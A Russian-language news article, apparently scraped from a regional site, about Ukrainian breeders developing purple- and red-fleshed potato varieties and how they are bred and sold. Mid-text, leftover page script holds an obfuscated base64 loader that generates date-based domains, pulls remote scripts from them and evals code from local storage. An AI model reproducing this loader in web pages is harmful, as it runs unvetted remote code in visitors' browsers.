Селекционеры научно-производственного объединения «Черниговэлиткартофель» (пгт Седнев Черниговской области) вывели экзотический картофель с фиолетовой и красной мякотью и готовят его к регистрации в государственном реестре растений, сообщает Укринформ.
«Ежегодно мы подаем на государственную регистрацию наши новые гибриды. В ближайшем будущем надеемся зарегистрировать сорта с цветным мякотью: фиолетовую картошку «Лыбидь»и красную «Фурор».»Лыбидь» мы еще в прошлом году подали на испытания и надеемся, что скоро она будет занесена в реестр «, — рассказал генеральный директор НПО» Черниговэлиткартофель «, заслуженный работник сельского хозяйства Украины, кандидат экономических наук Игорь Шкурко.
Игорь Шкурко
По его словам, «Лыбидь», например, вывели путем скрещивания одного из зарубежных сортов производных дикорастущей формы, найденной когда в Перу, и собственного сорта «Награда». Селекционная работа продолжалась более 10 лет.
Как добавил заместитель гендиректора по научной работе Геннадий Гайструк, для вывода оригинальных клубней на предприятии высевают коллекцию из более 300 сортов. С ними и экспериментируют. Фиолетовую картошку тоже стараются разнообразить.
«Мы работаем над тем, чтобы мякоть клубня был и чисто фиолетовый и было, скажем, белые прожилки. Но самое главное, конечно, — чтобы эти сорта отличались хорошими вкусовыми качествами и пользовались спросом у потребителей», — отметил Гайструк.
Он также рассказал о долгом и интересном пути, который проходит семенной материал до того, как стать настоящей сортовой элитой. Начинается он с гибридизации — опыления цветов клубня одного сорта другим. Затем с уже отцветшего куста собирают зеленые шарики-ягоды. В каждой из них содержится от 50 до 100 семян картофеля, которые отличаются друг от друга генетической информацией. Ягоды эти высушивают и высевают в грунт. Вырастающий куст дает так называемые одноклубеньки, которые могут быть разными как по цвету, так и по форме.
«Из семян даже одной ягоды мы можем получить и белый, и красный, и пестрый картофель. Из них выбираем тот, который нам нравится, который заинтересовал», — сказал селекционер. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Среди выведенных таким образом гибридов — три с красной мякотью, шесть — с фиолетовой. Специалисты отмечают, что до того, как назвать их сортами, с ними надо работать 10-12 лет.
По вкусу цветной картофель, в частности «Лыбидь», — такой же, как и обычный. Однако он привлекает экзотическим видом, ценится за высокое содержание антиоксидантов, используется как природный краситель продуктов питания, подходит для переработки, в частности производства чипсов.
Потребителям семена новых цветных сортов седневское предприятие продает уже несколько лет, и спрос на них растет. Для себя экзотический картофель покупают дачники и огородники, а предприниматели и фермеры берут для размножения и перепродажи семян. Правда, весь урожай прошлого года «Черниговэлиткартофель» еще осенью отгрузил европейской компании, которая пожелала выращивать его для производства чипсов. Шкурко отметил, что спрос на такой картофель в Европе обусловлен большой конкуренцией на рынке чипсов, одной из незанятых ниш которого является изготовление продукта необычного цвета.
Рассказав о своих оригинальных клубнях, руководитель попросил заинтересованных в его выращивании весной «не обрывать» телефоны предприятия ради получения семян. Потому что они давно проданы. Реализация же нового урожая начнется не ранее 1 октября. Сейчас предприятие заканчивает продажу семян из десятка сортов, оставшихся в хранилище.
ЧАО «НПО «Черниговэлиткартофель» — многоотраслевое агропредприятие. Специализируется на производстве элитных семян картофеля и зерновых культур, имеет молочно-товарные фермы. Работают в обществе 60 человек, из которых 8 — в научном подразделении. В прошлом году семенным картофелем НПО засеяло 70 га, в этом году засадит 100 га. Работает только с сортами украинской селекции. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/v-ukraine-vyveli-unikalnye-sorta-kartofelya-foto/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
